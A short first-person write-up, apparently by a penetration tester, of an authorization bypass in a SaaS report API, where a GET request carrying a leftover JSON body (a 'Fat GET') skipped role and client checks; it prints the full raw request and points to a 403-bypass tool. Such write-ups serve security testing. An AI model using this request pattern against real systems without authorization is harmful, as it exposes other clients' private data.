I was testing a SaaS web application that would generate reports with user data. There were several different reports for user roles and each client using the SaaS was also segregated from each other, as they should be.

Reports were generated with two-step process:
1. POST request with parameters to build the custom report, returns a report ID.
2. GET request with the report ID to download the server-generated PDF.

Attempting to access reports outside of your role or client space would result in a 403 error.

Just like everyone else in the world, I did try the bypass-403 tool to look for any quick bypasses.

https://github.com/iamj0ker/bypass-403

No dice on low-hanging fruit.

I moved on to other places in the application and after some time came back to the reporting portion.

I had the POST request saved in my Burp Repeater and just manually built the GET request from the POST as I was too lazy to go capture the request naturally.

I was also too lazy to clear out the body and Content-Length from the request. So it looks something like this:

GET /api/v1/reportservice/details/{clientname}/456 HTTP/2
Host: iwonttell.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Authorization: Bearer verysecretbearertoken
Content-Length: 76

{
    "clientname": "aaa",
    "startDate":"2020/01/01",
    "endDate":"2022/02/16"
}

And lo and behold I was able to bypass both role restrictions and client space restrictions. The Fat GET request, for whatever reason bypassed the entire authorization check on the server side.

This happened about a year ago and I’ve continued to use Fat GETs when testing authorization issues, but have never found it in another place.
But maybe now you will.

Good luck with your hunting.